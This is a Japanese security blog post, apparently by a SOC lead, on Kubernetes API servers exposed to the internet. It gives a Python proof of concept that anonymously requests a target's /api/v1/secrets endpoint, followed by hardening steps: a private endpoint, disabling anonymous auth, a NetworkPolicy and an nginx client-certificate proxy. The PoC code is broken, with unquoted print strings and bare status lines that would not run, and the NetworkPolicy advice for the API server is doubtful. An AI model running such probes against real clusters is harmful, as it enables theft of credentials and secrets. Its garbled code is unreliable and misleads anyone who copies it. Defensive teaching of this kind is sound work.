おい、ちょっと手を止めてこっちを向いてくれ。
今朝、うちのSOC(セキュリティ・オペレーション・センター)のダッシュボードを見たか? インターネット上に野ざらしになったKubernetes(K8s)のAPIサーバーに対するブルートフォース攻撃と、そこを踏み台にした仮想マイニングツールのデプロイ試行が、世界中で毎秒何千件も観測されている。
「うちはクラウドのマネージドだから大丈夫」なんて甘い考えを持っているなら、今すぐその頭を冷やしてほしい。EKSだろうがGKEだろうがAKSだろうが、初期設定や構築スクリプトの1行ミス、あるいは「ちょっとテスト用に」と緩めた設定のせいで、APIサーバーがパブリックなインターネットの荒波に放り出されているケースを、俺たちはこれまで何度もインシデントレスポンスの現場で目撃してきた。
今日は、攻撃者がインターネット上に露出したKubernetes APIサーバーをどうやって見つけ出し、どうやってクラスタの管理者権限(Cluster-Admin)を奪い取るのかというリアルな攻撃手法(PoC)と、それを根絶するための鉄壁の設定術を、俺からお前たちに叩き込む。
—
1. 攻撃者の視点:なぜKubernetes APIサーバーの露出は致命傷なのか
Kubernetesの心臓部である kube-apiserver は、クラスタ内のすべてのリソースを管理する司令塔だ。ここに対して外部から直接、しかも認証なしでアクセスできる状態になっているということは、オフィスのエントランスの自動ドアが24時間365日全開で、受付に誰もいないどころか「ご自由にお金を持っていってください」と貼り紙がしてあるようなものだ。
匿名認証(Anonymous Authentication)の恐怖
Kubernetesのデフォルト設定では、APIサーバーへのリクエストに有効な認証トークンやクライアント証明書が含まれていない場合、それを「匿名ユーザー(system:anonymous)」として扱う機能が有効になっていることがある。
もし、この匿名ユーザーに対して過剰な権限(ClusterRoleBinding などで cluster-admin などの強力なロール)が誤って紐付けられていたらどうなるか?
攻撃者はクレカの情報を入力する必要すらない。ただのHTTPリクエストを投げるだけで、クラスタ内の全ノード、全ポッド、全シークレット(DBのパスワードやAPIキー)を完全に掌握できる。
—
2. 攻撃シミュレーション:野ざらしAPIサーバーの狩り方
実戦で攻撃者がどのように動くか、その手口を覗いてみよう。彼らは複雑なツールを最初から使うわけではない。基本はOSINT(公開情報からの情報収集)とシンプルなスクリプトだ。
ステップ1: ターゲットの発見
攻撃者は、ShodanやCensysといったIoT/サーバー検索エンジン、あるいは独自のZmapスキャナーを使い、HTTPSのデフォルトポートである 443 や、Kubernetesのカスタムポートである 6443 が開いており、かつ特定のTLS証明書の署名やHTTPレスポンスを返すIPアドレスをスキャンする。
ステップ2: 匿名アクセスと権限の確認(PoC)
ターゲットを見つけたら、攻撃者は手元の端末から curl コマンド一発でAPIサーバーの生死と脆弱性を確認する。以下のPythonスクリプトは、攻撃者が標的のAPIサーバーに対して匿名でクラスタ内のシークレットを窃取しようとする際の実装イメージだ。
import requests
urllib3 = requests.packages.urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_k8s_exposure(target_url):
"""
指定されたKubernetes APIサーバーに対して匿名アクセスを試み、
シークレット情報を取得できるか検証するPoCスクリプト
"""
# Kubernetes APIのシークレット一覧エンドポイント
endpoint = f"{target_url}/api/v1/secrets"
headers = {
"Accept": "application/json",
"User-Agent": "Mozilla/5.0 (SecurityResearch/PoC)"
}
print([*] ターゲットへ匿名リクエストを送信中: {target_url})
try:
# 自己signed証明書を許容するため verify=False に設定
response = requests.get(endpoint, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print([-] 脆弱性検知: 匿名認証が有効であり、認証なしでアクセス可能です!)
secrets_data = response.json()
print(f"[+] 取得したシークレット数: {len(secrets_data.get('items', []))}")
# 実際にはここで機密情報のダンプが行われる
return True
elif response.status_code == 401 or response.status_code == 403:
[+] 正常な挙動: 認証または認可によってブロックされました(ステータスコード: {response.status_code})
return False
else:
[?] 予期せぬレスポンスコード: {response.status_code}
return False
except requests.exceptions.RequestException as e:
[!] 接続エラー: {e}
return None
if __name__ == "__main__":
# テスト用のダミーURL(実際の攻撃ではスキャン結果のIPが入る)
target = "https://192.0.2.1:6443"
check_k8s_exposure(target)
このスクリプトが 200 OK を返した瞬間、そのクラスタは「陥落」したも同然だ。データベースの接続文字列、AWSのシークレットキー、JWTの秘密鍵など、システムを動かすためのすべての機密情報が攻撃者の手に渡る。
—
3. 徹底防御:APIサーバーを守り抜くための3つの要塞化ステップ
この悪夢を防ぐために、お前たちが今日、今すぐインフラストラクチャに適用すべき3つの対策を解説する。
対策1: APIサーバーのインターネット露出を完全に断つ(Private Cluster)
大原則として、Kubernetes APIサーバーをパブリックIPにバインドさせてはならない。
AWSのEKSであれば EndpointAccess をプライベート(endpointPrivateAccess: true, endpointPublicAccess: false)に設定し、社内ネットワークや踏み台(VPN、AWS Systems Manager Session Managerなど)を経由したプライベートな経路からのみアクセスできるように設計する。
対策2: 匿名認証(Anonymous Authentication)の無効化
やむを得ずAPIサーバーを外部公開せざるを得ない場合(あるいは多層防御の一環として)、kube-apiserverの起動引数(フラグ)で匿名認証を明示的に無効化する。
kube-apiserverの設定ファイル(例: /etc/kubernetes/manifests/kube-apiserver.yaml またはクラウドプロバイダの設定)において、以下のフラグが設定されていることを確認しろ。
apiVersion: v1
kind: Pod
metadata:
name: kube-apiserver
namespace: kube-system
spec:
containers:
- name: kube-apiserver
image: k8s.gcr.io/kube-apiserver:v1.28.0
command:
- kube-apiserver
# 匿名認証を完全に無効化するパラメータ
- --anonymous-auth=false
# NodeAuthorizerを有効化し、不要な権限の昇格を防ぐ
- --authorization-mode=Node,RBAC
対策3: ネットワークポリシー(NetworkPolicy)とIngress/WAFによる境界防御
クラスタ外部からの不正なトラフィックだけでなく、クラスタ内部でのラテラルムーブメント(横展開)を防ぐために、Kubernetesの NetworkPolicy を適用する。
以下の設定は、デフォルトですべての外部からのIngress(受信)通信を拒否しつつ、特定の信頼された名前空間やIPレンジからのみAPIサーバーへのアクセスを許可する模範的なネットワークポリシーの例だ。
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all-external-traffic
namespace: kube-system
spec:
podSelector:
matchLabels:
component: kube-apiserver
policyTypes:
- Ingress
ingress:
- from:
# 社内のVPNゲートウェイや踏み台サーバーのCIDRのみを許可する
- ipBlock:
cidr: 203.0.113.50/32
ports:
- protocol: TCP
port: 6443
さらに、もしマネージドサービスの制約等でAPIサーバーの前にリバースプロキシやWAF(NginxやCloudflareなど)を配置する場合の設定例も示しておこう。不要なHTTPメソッド(PUT, DELETE, PATCH など)をエッジ側で弾き、特定のクライアント証明書を持つリクエストしか背面のAPIサーバーに通さない設定が極めて有効だ。
# NginxリバースプロキシによるKubernetes APIサーバーの前段防御設定
server {
listen 443 ssl;
server_name k8s-api.yourcompany.internal;
# 強固なSSL/TLS証明書の設定(クライアント証明書認証の強制)
ssl_certificate /etc/nginx/ssl/server.crt;
ssl_certificate_key /etc/nginx/ssl/server.key;
ssl_client_certificate /etc/nginx/ssl/ca.crt;
ssl_verify_client on; # クライアント証明書を必須とする
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
location / {
# GETとPOST以外の危険なメソッドをブロック
if ($request_method !~ ^(GET|POST|HEAD)$ ) {
return 403;
}
# バックエンドのKubernetes APIサーバーへプロキシ
proxy_pass https://10.0.1.100:6443;
proxy_ssl_verify on;
proxy_ssl_trusted_certificate /etc/nginx/ssl/ca.crt;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# WebSocketやストリーミングログ(kubectl logs等)に対応するための設定
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
}
—
最後に:セキュリティは「設定の確実さ」の積み重ねだ
ここまで、Kubernetes APIサーバーの露出リスクから具体的な攻撃手法、そしてそれを完全にねじ伏せるための設定コードまで解説してきた。
セキュリティの世界において、「動けばいいや」で作られたインフラほど脆いものはない。お前たちがコードを書き、インフラをデプロイするとき、常に自問してほしい。「このポートは本当にインターネットに露出させる必要があるか?」「認証と認可の網の目に、ほころびはないか?」と。
現場のセキュリティチーフとして、お前たちがこうしたセキュアな設計を当たり前のように実装し、組織全体のセキュリティ水準を引き上げてくれることを期待している。頼んだぞ。
コメント